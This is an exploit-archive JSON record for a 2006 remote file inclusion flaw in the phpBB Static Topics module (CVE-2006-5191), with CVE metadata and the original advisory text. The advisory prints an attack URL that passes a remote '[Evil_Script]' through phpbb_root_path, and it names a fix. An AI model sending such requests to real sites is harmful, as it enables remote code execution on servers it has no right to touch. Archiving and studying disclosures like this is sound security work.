{"exploit":{"id":"EDB-2477","name":"phpBB Static Topics 1.0 - 'phpbb_root_path' File Inclusion","description":"phpBB Static Topics 1.0 - 'phpbb_root_path' File Inclusion","cves":["CVE-2006-5191"],"author":"Kw3[R]Ln","published":"2006-10-04","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/2477","path":"exploits/php/webapps/2477.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-2477.txt","vulnerabilities":[{"id":"CVE-2006-5191","state":"PUBLISHED","title":null,"titleSource":null,"description":"PHP remote file inclusion vulnerability in includes/functions_static_topics.php in the Nivisec Static Topics module for phpBB 1.0 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the phpbb_root_path parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2006-5191","cvss":{"version":"2.0","baseScore":5.1,"severity":"medium","vectorString":"AV:N/AC:H/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2006-5191"},"updatedAt":"2024-08-07T19:41:05.016Z","retrievedAt":"2026-11-27T04:07:42.347Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-2477.png?v=2","url":"https://exploitbin.com/exploits/EDB-2477","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-2477/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-2477/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"---------------------------------------------------------------------------\nphpBB Static Topics <= 1.0 [phpbb_root_path] Remote File Include Vulnerability\n---------------------------------------------------------------------------\n\n\nDiscovered By Kw3[R]Ln [ Romanian Security Team ] : hTTp://RST-CREW.net :\nRemote : Yes\nCritical Level : Dangerous\n---------------------------------------------------------------------------\n\nAffected software description :\n~~~~~~~~~~~~~~~~~~~~~~~~~~~\nApplication : phpBB Static Topics\nversion : 1.0\nURL : http://www.nivisec.com/downloads/phpbb/static_forums.zip\n------------------------------------------------------------------\n\n\nExploit:\n~~~~~\nVariable $phpbb_root_path not sanitized.When register_globals=on an attacker ca\nn exploit this vulnerability with a simple php injection script.\n\n# http://www.site.com/[path]/includes/functions_static_topics.php?phpbb_root_path=[Evil_Script]\n---------------------------------------------------------------------------\n\nSolution :\n~~~~~~~\ndeclare variabel $phpbb_root_path\n---------------------------------------------------------------------------\n\n\nShoutz:\n~~~\n\n# Special greetz to my good friend [Oo]\n# To all members of #h4cky0u and RST [ hTTp://RST-CREW.net ]\n---------------------------------------------------------------------------\n\n*/\n\nContact:\n~~~~~\n\nNick: Kw3rLn\nE-mail: ciriboflacs[at]YaHoo[dot]Com\nHomepage: hTTp://RST-CREW.NET\n_/*\n\n# milw0rm.com [2006-10-04]","sha256":"f55c73f99856eb0fdac2d3feb7c21f1731e3011c63f0123582de2f2c49421d3f","bytes":1451,"fetchedAt":"2026-11-27T04:07:40.612Z","encoding":"utf-8 (display only; download retains original bytes)"}